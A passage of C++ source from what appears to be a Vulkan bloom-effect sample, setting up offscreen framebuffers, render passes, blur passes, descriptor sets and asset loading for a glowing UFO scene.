float blurStrength = 1.5f;
uint32_t horizontal;
};
struct {
UBO scene, fullscreen, skyBox;
UBOBlur vertBlur, horzBlur;
} ubos;
struct {
VkPipeline blurVert;
VkPipeline blurHorz;
VkPipeline glowPass;
VkPipeline phongPass;
VkPipeline skyBox;
} pipelines;
// Pipeline layout is shared amongst all descriptor sets
VkPipelineLayout pipelineLayout;
struct {
VkDescriptorSet scene;
VkDescriptorSet verticalBlur;
VkDescriptorSet horizontalBlur;
VkDescriptorSet skyBox;
} descriptorSets;
// Descriptor set layout is shared amongst all descriptor sets
VkDescriptorSetLayout descriptorSetLayout;
// Framebuffer for offscreen rendering
struct FrameBufferAttachment {
VkImage image;
VkDeviceMemory mem;
VkImageView view;
};
struct FrameBuffer {
VkFramebuffer framebuffer;
FrameBufferAttachment color, depth;
VkDescriptorImageInfo descriptor;
};
struct OffscreenPass {
int32_t width, height;
VkRenderPass renderPass;
VkSampler sampler;
VkCommandBuffer commandBuffer = VK_NULL_HANDLE;
// Semaphore used to synchronize between offscreen and final scene rendering
VkSemaphore semaphore = VK_NULL_HANDLE;
std::array<FrameBuffer, 2> framebuffers;
} offscreenPass;
VulkanExample() : VulkanExampleBase(ENABLE_VALIDATION)
{
zoom = -10.25f;
rotation = { 7.5f, -343.0f, 0.0f };
timerSpeed *= 0.5f;
enableTextOverlay = true;
title = "Vulkan Example - Bloom";
}
~VulkanExample()
{
// Clean up used Vulkan resources
// Note : Inherited destructor cleans up resources stored in base class
vkDestroySampler(device, offscreenPass.sampler, nullptr);
// Frame buffer
for (auto& framebuffer : offscreenPass.framebuffers)
{
// Attachments
vkDestroyImageView(device, framebuffer.color.view, nullptr);
vkDestroyImage(device, framebuffer.color.image, nullptr);
vkFreeMemory(device, framebuffer.color.mem, nullptr);
vkDestroyImageView(device, framebuffer.depth.view, nullptr);
vkDestroyImage(device, framebuffer.depth.image, nullptr);
vkFreeMemory(device, framebuffer.depth.mem, nullptr);
vkDestroyFramebuffer(device, framebuffer.framebuffer, nullptr);
}
vkDestroyRenderPass(device, offscreenPass.renderPass, nullptr);
vkFreeCommandBuffers(device, cmdPool, 1, &offscreenPass.commandBuffer);
vkDestroySemaphore(device, offscreenPass.semaphore, nullptr);
vkDestroyPipeline(device, pipelines.blurHorz, nullptr);
vkDestroyPipeline(device, pipelines.blurVert, nullptr);
vkDestroyPipeline(device, pipelines.phongPass, nullptr);
vkDestroyPipeline(device, pipelines.glowPass, nullptr);
vkDestroyPipeline(device, pipelines.skyBox, nullptr);
vkDestroyPipelineLayout(device, pipelineLayout, nullptr);
vkDestroyDescriptorSetLayout(device, descriptorSetLayout, nullptr);
// Meshes
vkMeshLoader::freeMeshBufferResources(device, &meshes.ufo);
vkMeshLoader::freeMeshBufferResources(device, &meshes.ufoGlow);
vkMeshLoader::freeMeshBufferResources(device, &meshes.skyBox);
vkMeshLoader::freeMeshBufferResources(device, &meshes.quad);
// Uniform buffers
vkTools::destroyUniformData(device, &uniformData.vsScene);
vkTools::destroyUniformData(device, &uniformData.vsFullScreen);
vkTools::destroyUniformData(device, &uniformData.vsSkyBox);
vkTools::destroyUniformData(device, &uniformData.fsVertBlur);
vkTools::destroyUniformData(device, &uniformData.fsHorzBlur);
textureLoader->destroyTexture(textures.cubemap);
}
// Setup the offscreen framebuffer for rendering the mirrored scene
// The color attachment of this framebuffer will then be sampled from
void prepareOffscreenFramebuffer(FrameBuffer *frameBuf, VkFormat colorFormat, VkFormat depthFormat)
{
// Color attachment
VkImageCreateInfo image = vkTools::initializers::imageCreateInfo();
image.imageType = VK_IMAGE_TYPE_2D;
image.format = colorFormat;
image.extent.width = FB_DIM;
image.extent.height = FB_DIM;
image.extent.depth = 1;
image.mipLevels = 1;
image.arrayLayers = 1;
image.samples = VK_SAMPLE_COUNT_1_BIT;
image.tiling = VK_IMAGE_TILING_OPTIMAL;
// We will sample directly from the color attachment
image.usage = VK_IMAGE_USAGE_COLOR_ATTACHMENT_BIT | VK_IMAGE_USAGE_SAMPLED_BIT;
VkMemoryAllocateInfo memAlloc = vkTools::initializers::memoryAllocateInfo();
VkMemoryRequirements memReqs;
VkImageViewCreateInfo colorImageView = vkTools::initializers::imageViewCreateInfo();
colorImageView.viewType = VK_IMAGE_VIEW_TYPE_2D;
colorImageView.format = colorFormat;
colorImageView.flags = 0;
colorImageView.subresourceRange = {};
colorImageView.subresourceRange.aspectMask = VK_IMAGE_ASPECT_COLOR_BIT;
colorImageView.subresourceRange.baseMipLevel = 0;
colorImageView.subresourceRange.levelCount = 1;
colorImageView.subresourceRange.baseArrayLayer = 0;
colorImageView.subresourceRange.layerCount = 1;
VK_CHECK_RESULT(vkCreateImage(device, &image, nullptr, &frameBuf->color.image));
vkGetImageMemoryRequirements(device, frameBuf->color.image, &memReqs);
memAlloc.allocationSize = memReqs.size;
memAlloc.memoryTypeIndex = vulkanDevice->getMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT);
VK_CHECK_RESULT(vkAllocateMemory(device, &memAlloc, nullptr, &frameBuf->color.mem));
VK_CHECK_RESULT(vkBindImageMemory(device, frameBuf->color.image, frameBuf->color.mem, 0));
colorImageView.image = frameBuf->color.image;
VK_CHECK_RESULT(vkCreateImageView(device, &colorImageView, nullptr, &frameBuf->color.view));
// Depth stencil attachment
image.format = depthFormat;
image.usage = VK_IMAGE_USAGE_DEPTH_STENCIL_ATTACHMENT_BIT;
VkImageViewCreateInfo depthStencilView = vkTools::initializers::imageViewCreateInfo();
depthStencilView.viewType = VK_IMAGE_VIEW_TYPE_2D;
depthStencilView.format = depthFormat;
depthStencilView.flags = 0;
depthStencilView.subresourceRange = {};
depthStencilView.subresourceRange.aspectMask = VK_IMAGE_ASPECT_DEPTH_BIT | VK_IMAGE_ASPECT_STENCIL_BIT;
depthStencilView.subresourceRange.baseMipLevel = 0;
depthStencilView.subresourceRange.levelCount = 1;
depthStencilView.subresourceRange.baseArrayLayer = 0;
depthStencilView.subresourceRange.layerCount = 1;
VK_CHECK_RESULT(vkCreateImage(device, &image, nullptr, &frameBuf->depth.image));
vkGetImageMemoryRequirements(device, frameBuf->depth.image, &memReqs);
memAlloc.allocationSize = memReqs.size;
memAlloc.memoryTypeIndex = vulkanDevice->getMemoryType(memReqs.memoryTypeBits, VK_MEMORY_PROPERTY_DEVICE_LOCAL_BIT);
VK_CHECK_RESULT(vkAllocateMemory(device, &memAlloc, nullptr, &frameBuf->depth.mem));
VK_CHECK_RESULT(vkBindImageMemory(device, frameBuf->depth.image, frameBuf->depth.mem, 0));
depthStencilView.image = frameBuf->depth.image;
VK_CHECK_RESULT(vkCreateImageView(device, &depthStencilView, nullptr, &frameBuf->depth.view));
VkImageView attachments[2];
attachments[0] = frameBuf->color.view;
attachments[1] = frameBuf->depth.view;
VkFramebufferCreateInfo fbufCreateInfo = vkTools::initializers::framebufferCreateInfo();
fbufCreateInfo.renderPass = offscreenPass.renderPass;
fbufCreateInfo.attachmentCount = 2;
fbufCreateInfo.pAttachments = attachments;
fbufCreateInfo.width = FB_DIM;
fbufCreateInfo.height = FB_DIM;
fbufCreateInfo.layers = 1;
VK_CHECK_RESULT(vkCreateFramebuffer(device, &fbufCreateInfo, nullptr, &frameBuf->framebuffer));
// Fill a descriptor for later use in a descriptor set
frameBuf->descriptor.imageLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
frameBuf->descriptor.imageView = frameBuf->color.view;
frameBuf->descriptor.sampler = offscreenPass.sampler;
}
// Prepare the offscreen framebuffers used for the vertical- and horizontal blur
void prepareOffscreen()
{
offscreenPass.width = FB_DIM;
offscreenPass.height = FB_DIM;
// Find a suitable depth format
VkFormat fbDepthFormat;
VkBool32 validDepthFormat = vkTools::getSupportedDepthFormat(physicalDevice, &fbDepthFormat);
assert(validDepthFormat);
// Create a separate render pass for the offscreen rendering as it may differ from the one used for scene rendering
std::array<VkAttachmentDescription, 2> attchmentDescriptions = {};
// Color attachment
attchmentDescriptions[0].format = FB_COLOR_FORMAT;
attchmentDescriptions[0].samples = VK_SAMPLE_COUNT_1_BIT;
attchmentDescriptions[0].loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR;
attchmentDescriptions[0].storeOp = VK_ATTACHMENT_STORE_OP_STORE;
attchmentDescriptions[0].stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE;
attchmentDescriptions[0].stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[0].initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
attchmentDescriptions[0].finalLayout = VK_IMAGE_LAYOUT_SHADER_READ_ONLY_OPTIMAL;
// Depth attachment
attchmentDescriptions[1].format = fbDepthFormat;
attchmentDescriptions[1].samples = VK_SAMPLE_COUNT_1_BIT;
attchmentDescriptions[1].loadOp = VK_ATTACHMENT_LOAD_OP_CLEAR;
attchmentDescriptions[1].storeOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[1].stencilLoadOp = VK_ATTACHMENT_LOAD_OP_DONT_CARE;
attchmentDescriptions[1].stencilStoreOp = VK_ATTACHMENT_STORE_OP_DONT_CARE;
attchmentDescriptions[1].initialLayout = VK_IMAGE_LAYOUT_UNDEFINED;
attchmentDescriptions[1].finalLayout = VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL;
VkAttachmentReference colorReference = { 0, VK_IMAGE_LAYOUT_COLOR_ATTACHMENT_OPTIMAL };
VkAttachmentReference depthReference = { 1, VK_IMAGE_LAYOUT_DEPTH_STENCIL_ATTACHMENT_OPTIMAL };
VkSubpassDescription subpassDescription = {};
subpassDescription.pipelineBindPoint = VK_PIPELINE_BIND_POINT_GRAPHICS;
subpassDescription.colorAttachmentCount = 1;
subpassDescription.pColorAttachments = &colorReference;
subpassDescription.pDepthStencilAttachment = &depthReference;
// Use subpass dependencies for layout transitions
std::array<VkSubpassDependency, 2> dependencies;
dependencies[0].srcSubpass = VK_SUBPASS_EXTERNAL;
dependencies[0].dstSubpass = 0;
dependencies[0].srcStageMask = VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT;
dependencies[0].dstStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT;
dependencies[0].srcAccessMask = VK_ACCESS_MEMORY_READ_BIT;
dependencies[0].dstAccessMask = VK_ACCESS_COLOR_ATTACHMENT_READ_BIT | VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
dependencies[0].dependencyFlags = VK_DEPENDENCY_BY_REGION_BIT;
dependencies[1].srcSubpass = 0;
dependencies[1].dstSubpass = VK_SUBPASS_EXTERNAL;
dependencies[1].srcStageMask = VK_PIPELINE_STAGE_COLOR_ATTACHMENT_OUTPUT_BIT;
dependencies[1].dstStageMask = VK_PIPELINE_STAGE_BOTTOM_OF_PIPE_BIT;
dependencies[1].srcAccessMask = VK_ACCESS_COLOR_ATTACHMENT_READ_BIT | VK_ACCESS_COLOR_ATTACHMENT_WRITE_BIT;
dependencies[1].dstAccessMask = VK_ACCESS_MEMORY_READ_BIT;
dependencies[1].dependencyFlags = VK_DEPENDENCY_BY_REGION_BIT;
// Create the actual renderpass
VkRenderPassCreateInfo renderPassInfo = {};
renderPassInfo.sType = VK_STRUCTURE_TYPE_RENDER_PASS_CREATE_INFO;
renderPassInfo.attachmentCount = static_cast<uint32_t>(attchmentDescriptions.size());
renderPassInfo.pAttachments = attchmentDescriptions.data();
renderPassInfo.subpassCount = 1;
renderPassInfo.pSubpasses = &subpassDescription;
renderPassInfo.dependencyCount = static_cast<uint32_t>(dependencies.size());
renderPassInfo.pDependencies = dependencies.data();
VK_CHECK_RESULT(vkCreateRenderPass(device, &renderPassInfo, nullptr, &offscreenPass.renderPass));
// Create sampler to sample from the color attachments
VkSamplerCreateInfo sampler = vkTools::initializers::samplerCreateInfo();
sampler.magFilter = VK_FILTER_LINEAR;
sampler.minFilter = VK_FILTER_LINEAR;
sampler.mipmapMode = VK_SAMPLER_MIPMAP_MODE_LINEAR;
sampler.addressModeU = VK_SAMPLER_ADDRESS_MODE_CLAMP_TO_EDGE;
sampler.addressModeV = sampler.addressModeU;
sampler.addressModeW = sampler.addressModeU;
sampler.mipLodBias = 0.0f;
sampler.maxAnisotropy = 0;
sampler.minLod = 0.0f;
sampler.maxLod = 1.0f;
sampler.borderColor = VK_BORDER_COLOR_FLOAT_OPAQUE_WHITE;
VK_CHECK_RESULT(vkCreateSampler(device, &sampler, nullptr, &offscreenPass.sampler));
// Create two frame buffers
prepareOffscreenFramebuffer(&offscreenPass.framebuffers[0], FB_COLOR_FORMAT, fbDepthFormat);
prepareOffscreenFramebuffer(&offscreenPass.framebuffers[1], FB_COLOR_FORMAT, fbDepthFormat);
}
// Sets up the command buffer that renders the scene to the offscreen frame buffer
// The blur method used in this example is multi pass and renders the vertical
// blur first and then the horizontal one.
// While it's possible to blur in one pass, this method is widely used as it
// requires far less samples to generate the blur
void buildOffscreenCommandBuffer()
{
if (offscreenPass.commandBuffer == VK_NULL_HANDLE)
{
offscreenPass.commandBuffer = VulkanExampleBase::createCommandBuffer(VK_COMMAND_BUFFER_LEVEL_PRIMARY, false);
}
if (offscreenPass.semaphore == VK_NULL_HANDLE)
{
VkSemaphoreCreateInfo semaphoreCreateInfo = vkTools::initializers::semaphoreCreateInfo();
VK_CHECK_RESULT(vkCreateSemaphore(device, &semaphoreCreateInfo, nullptr, &offscreenPass.semaphore));
}
VkCommandBufferBeginInfo cmdBufInfo = vkTools::initializers::commandBufferBeginInfo();
// First pass: Render glow parts of the model (separate mesh)
// -------------------------------------------------------------------------------------------------------
VkClearValue clearValues[2];
clearValues[0].color = { { 0.0f, 0.0f, 0.0f, 1.0f } };
clearValues[1].depthStencil = { 1.0f, 0 };
VkRenderPassBeginInfo renderPassBeginInfo = vkTools::initializers::renderPassBeginInfo();
renderPassBeginInfo.renderPass = offscreenPass.renderPass;
renderPassBeginInfo.framebuffer = offscreenPass.framebuffers[0].framebuffer;
renderPassBeginInfo.renderArea.extent.width = offscreenPass.width;
renderPassBeginInfo.renderArea.extent.height = offscreenPass.height;
renderPassBeginInfo.clearValueCount = 2;
renderPassBeginInfo.pClearValues = clearValues;
VK_CHECK_RESULT(vkBeginCommandBuffer(offscreenPass.commandBuffer, &cmdBufInfo));
VkViewport viewport = vkTools::initializers::viewport((float)offscreenPass.width, (float)offscreenPass.height, 0.0f, 1.0f);
vkCmdSetViewport(offscreenPass.commandBuffer, 0, 1, &viewport);
VkRect2D scissor = vkTools::initializers::rect2D(offscreenPass.width, offscreenPass.height, 0, 0);
vkCmdSetScissor(offscreenPass.commandBuffer, 0, 1, &scissor);
vkCmdBeginRenderPass(offscreenPass.commandBuffer, &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
vkCmdBindDescriptorSets(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.scene, 0, NULL);
vkCmdBindPipeline(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.glowPass);
VkDeviceSize offsets[1] = { 0 };
vkCmdBindVertexBuffers(offscreenPass.commandBuffer, VERTEX_BUFFER_BIND_ID, 1, &meshes.ufoGlow.vertices.buf, offsets);
vkCmdBindIndexBuffer(offscreenPass.commandBuffer, meshes.ufoGlow.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(offscreenPass.commandBuffer, meshes.ufoGlow.indexCount, 1, 0, 0, 0);
vkCmdEndRenderPass(offscreenPass.commandBuffer);
// Second pass: Render contents of the first pass into second framebuffer and apply a vertical blur
// This is the first blur pass, the horizontal blur is applied when rendering on top of the scene
// -------------------------------------------------------------------------------------------------------
renderPassBeginInfo.framebuffer = offscreenPass.framebuffers[1].framebuffer;
vkCmdBeginRenderPass(offscreenPass.commandBuffer, &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
// Draw horizontally blurred texture
vkCmdBindDescriptorSets(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.verticalBlur, 0, NULL);
vkCmdBindPipeline(offscreenPass.commandBuffer, VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.blurVert);
vkCmdBindVertexBuffers(offscreenPass.commandBuffer, VERTEX_BUFFER_BIND_ID, 1, &meshes.quad.vertices.buf, offsets);
vkCmdBindIndexBuffer(offscreenPass.commandBuffer, meshes.quad.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(offscreenPass.commandBuffer, meshes.quad.indexCount, 1, 0, 0, 0);
vkCmdEndRenderPass(offscreenPass.commandBuffer);
VK_CHECK_RESULT(vkEndCommandBuffer(offscreenPass.commandBuffer));
}
void reBuildCommandBuffers()
{
if (!checkCommandBuffers())
{
destroyCommandBuffers();
createCommandBuffers();
}
buildCommandBuffers();
}
void buildCommandBuffers()
{
VkCommandBufferBeginInfo cmdBufInfo = vkTools::initializers::commandBufferBeginInfo();
VkClearValue clearValues[2];
clearValues[0].color = defaultClearColor;
clearValues[1].depthStencil = { 1.0f, 0 };
VkRenderPassBeginInfo renderPassBeginInfo = vkTools::initializers::renderPassBeginInfo();
renderPassBeginInfo.renderPass = renderPass;
renderPassBeginInfo.renderArea.offset.x = 0;
renderPassBeginInfo.renderArea.offset.y = 0;
renderPassBeginInfo.renderArea.extent.width = width;
renderPassBeginInfo.renderArea.extent.height = height;
renderPassBeginInfo.clearValueCount = 2;
renderPassBeginInfo.pClearValues = clearValues;
for (int32_t i = 0; i < drawCmdBuffers.size(); ++i)
{
// Set target frame buffer
renderPassBeginInfo.framebuffer = frameBuffers[i];
VK_CHECK_RESULT(vkBeginCommandBuffer(drawCmdBuffers[i], &cmdBufInfo));
vkCmdBeginRenderPass(drawCmdBuffers[i], &renderPassBeginInfo, VK_SUBPASS_CONTENTS_INLINE);
VkViewport viewport = vkTools::initializers::viewport((float)width, (float)height, 0.0f, 1.0f);
vkCmdSetViewport(drawCmdBuffers[i], 0, 1, &viewport);
VkRect2D scissor = vkTools::initializers::rect2D(width, height, 0, 0);
vkCmdSetScissor(drawCmdBuffers[i], 0, 1, &scissor);
VkDeviceSize offsets[1] = { 0 };
// Skybox
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.skyBox, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.skyBox);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.skyBox.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.skyBox.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.skyBox.indexCount, 1, 0, 0, 0);
// 3D scene
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.scene, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.phongPass);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.ufo.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.ufo.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.ufo.indexCount, 1, 0, 0, 0);
// Render vertical blurred scene applying a horizontal blur
// Render the (vertically blurred) contents of the second framebuffer and apply a horizontal blur
// -------------------------------------------------------------------------------------------------------
if (bloom)
{
vkCmdBindDescriptorSets(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelineLayout, 0, 1, &descriptorSets.horizontalBlur, 0, NULL);
vkCmdBindPipeline(drawCmdBuffers[i], VK_PIPELINE_BIND_POINT_GRAPHICS, pipelines.blurHorz);
vkCmdBindVertexBuffers(drawCmdBuffers[i], VERTEX_BUFFER_BIND_ID, 1, &meshes.quad.vertices.buf, offsets);
vkCmdBindIndexBuffer(drawCmdBuffers[i], meshes.quad.indices.buf, 0, VK_INDEX_TYPE_UINT32);
vkCmdDrawIndexed(drawCmdBuffers[i], meshes.quad.indexCount, 1, 0, 0, 0);
}
vkCmdEndRenderPass(drawCmdBuffers[i]);
VK_CHECK_RESULT(vkEndCommandBuffer(drawCmdBuffers[i]));
}
if (bloom)
{
buildOffscreenCommandBuffer();
}
}
void loadAssets()
{
loadMesh(getAssetPath() + "models/retroufo.dae", &meshes.ufo, vertexLayout, 0.05f);
loadMesh(getAssetPath() + "models/retroufo_glow.dae", &meshes.ufoGlow, vertexLayout, 0.05f);
loadMesh(getAssetPath() + "models/cube.obj", &meshes.skyBox, vertexLayout, 1.0f);
textureLoader->loadCubemap(getAssetPath() + "textures/cubemap_space.ktx", VK_FORMAT_R8G8B8A8_UNORM, &textures.cubemap);
}
// Setup vertices for a single uv-mapped quad
void generateQuad()
{
struct Vertex {
float pos[3];
float uv[2];
float col[3];
float normal[3];
};
#define QUAD_COLOR_NORMAL { 1.0f, 1.0f, 1.0f }, { 0.0f, 0.0f, 1.0f }
std::vector<Vertex> vertexBuffer =
{
{ { 1.0f, 1.0f, 0.0f },{ 1.0f, 1.0f }, QUAD_COLOR_NORMAL },
{ { 0.0f, 1.0f, 0.0f },{ 0.0f, 1.0f }, QUAD_COLOR_NORMAL },
{ { 0.0f, 0.0f, 0.0f },{ 0.0f, 0.0f }, QUAD_COLOR_NORMAL },
{ { 1.0f, 0.0f, 0.0f },{ 1.0f, 0.0f }, QUAD_COLOR_NORMAL }
};
#undef QUAD_COLOR_NORMAL
createBuffer(
VK_BUFFER_USAGE_VERTEX_BUFFER_BIT,
vertexBuffer.size() * sizeof(Vertex),
vertexBuffer.data(),
&meshes.quad.vertices.buf,
&meshes.quad.vertices.mem);
// Setup indices
std::vector<uint32_t> indexBuffer = { 0,1,2, 2,3,0 };
meshes.quad.indexCount = indexBuffer.size();
createBuffer(
VK_BUFFER_USAGE_INDEX_BUFFER_BIT,
indexBuffer.size() * sizeof(uint32_t),
indexBuffer.data(),
&meshes.quad.indices.buf,
&meshes.quad.indices.mem);
}
void setupVertexDescriptions()
{
// Binding description
// Same for all meshes used in this example
vertices.bindingDescriptions.resize(1);
vertices.bindingDescriptions[0] =
vkTools::initializers::vertexInputBindingDescription(
VERTEX_BUFFER_BIND_ID,
vkMeshLoader::vertexSize(vertexLayout),
VK_VERTEX_INPUT_RATE_VERTEX);
// Attribute descriptions
vertices.attributeDescriptions.resize(4);
// Location 0 : Position
vertices.attributeDescriptions[0] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
0,
VK_FORMAT_R32G32B32_SFLOAT,
0);
// Location 1 : Texture coordinates
vertices.attributeDescriptions[1] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
1,
VK_FORMAT_R32G32_SFLOAT,
sizeof(float) * 3);
// Location 2 : Color
vertices.attributeDescriptions[2] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
2,
VK_FORMAT_R32G32B32_SFLOAT,
sizeof(float) * 5);
// Location 3 : Normal
vertices.attributeDescriptions[3] =
vkTools::initializers::vertexInputAttributeDescription(
VERTEX_BUFFER_BIND_ID,
3,
VK_FORMAT_R32G32B32_SFLOAT,
sizeof(float) * 8);
vertices.inputState = vkTools::initializers::pipelineVertexInputStateCreateInfo();
vertices.inputState.vertexBindingDescriptionCount = vertices.bindingDescriptions.size();
vertices.inputState.pVertexBindingDescriptions = vertices.bindingDescriptions.data();
vertices.inputState.vertexAttributeDescriptionCount = vertices.attributeDescriptions.size();
vertices.inputState.pVertexAttributeDescriptions = vertices.attributeDescriptions.data();
}
void setupDescriptorPool()
{
std::vector<VkDescriptorPoolSize> poolSizes =
{
vkTools::initializers::descriptorPoolSize(VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 8),
vkTools::initializers::descriptorPoolSize(VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 6)
};
VkDescriptorPoolCreateInfo descriptorPoolInfo =
vkTools::initializers::descriptorPoolCreateInfo(
poolSizes.size(),
poolSizes.data(),
5);
VK_CHECK_RESULT(vkCreateDescriptorPool(device, &descriptorPoolInfo, nullptr, &descriptorPool));
}
void setupDescriptorSetLayout()
{
// Textured quad pipeline layout
std::vector<VkDescriptorSetLayoutBinding> setLayoutBindings =
{
// Binding 0 : Vertex shader uniform buffer
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,
VK_SHADER_STAGE_VERTEX_BIT,
0),
// Binding 1 : Fragment shader image sampler
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER,
VK_SHADER_STAGE_FRAGMENT_BIT,
1),
// Binding 2 : Framgnet shader image sampler
vkTools::initializers::descriptorSetLayoutBinding(
VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER,
VK_SHADER_STAGE_FRAGMENT_BIT,
2),
};
VkDescriptorSetLayoutCreateInfo descriptorLayout =
vkTools::initializers::descriptorSetLayoutCreateInfo(
setLayoutBindings.data(),
setLayoutBindings.size());
VK_CHECK_RESULT(vkCreateDescriptorSetLayout(device, &descriptorLayout, nullptr, &descriptorSetLayout));
VkPipelineLayoutCreateInfo pPipelineLayoutCreateInfo =
vkTools::initializers::pipelineLayoutCreateInfo(
&descriptorSetLayout,
1);
VK_CHECK_RESULT(vkCreatePipelineLayout(device, &pPipelineLayoutCreateInfo, nullptr, &pipelineLayout));
}
void setupDescriptorSet()
{
VkDescriptorSetAllocateInfo allocInfo =
vkTools::initializers::descriptorSetAllocateInfo(
descriptorPool,
&descriptorSetLayout,
1);
std::vector<VkWriteDescriptorSet> writeDescriptorSets;
// Full screen blur descriptor sets
// Vertical blur
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.verticalBlur));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsScene.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &offscreenPass.framebuffers[0].descriptor),
// Binding 2: Fragment shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.verticalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 2, &uniformData.fsVertBlur.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// Horizontal blur
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.horizontalBlur));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsScene.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &offscreenPass.framebuffers[1].descriptor),
// Binding 2: Fragment shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.horizontalBlur, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 2, &uniformData.fsHorzBlur.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// 3D scene
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.scene));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.scene, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsFullScreen.descriptor)
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
// Skybox
VK_CHECK_RESULT(vkAllocateDescriptorSets(device, &allocInfo, &descriptorSets.skyBox));
writeDescriptorSets =
{
// Binding 0: Vertex shader uniform buffer
vkTools::initializers::writeDescriptorSet(descriptorSets.skyBox, VK_DESCRIPTOR_TYPE_UNIFORM_BUFFER, 0, &uniformData.vsSkyBox.descriptor),
// Binding 1: Fragment shader texture sampler
vkTools::initializers::writeDescriptorSet(descriptorSets.skyBox, VK_DESCRIPTOR_TYPE_COMBINED_IMAGE_SAMPLER, 1, &textures.cubemap.descriptor),
};
vkUpdateDescriptorSets(device, writeDescriptorSets.size(), writeDescriptorSets.data(), 0, NULL);
}
void preparePipelines()
{
VkPipelineInputAssemblyStateCreateInfo inputAssemblyState =
vkTools::initializers::pipelineInputAssemblyStateCreateInfo(
VK_PRIMITIVE_TOPOLOGY_TRIANGLE_LIST,
0,
VK_FALSE);
VkPipelineRasterizationStateCreateInfo rasterizationState =
vkTools::initializers::pipelineRasterizationStateCreateInfo(
VK_POLYGON_MODE_FILL,
VK_CULL_MODE_NONE,
VK_FRONT_FACE_CLOCKWISE,
0);
VkPipelineColorBlendAttachmentState blendAttachmentState =
vkTools::initializers::pipelineColorBlendAttachmentState(
0xf,
VK_FALSE);
VkPipelineColorBlendStateCreateInfo colorBlendState =
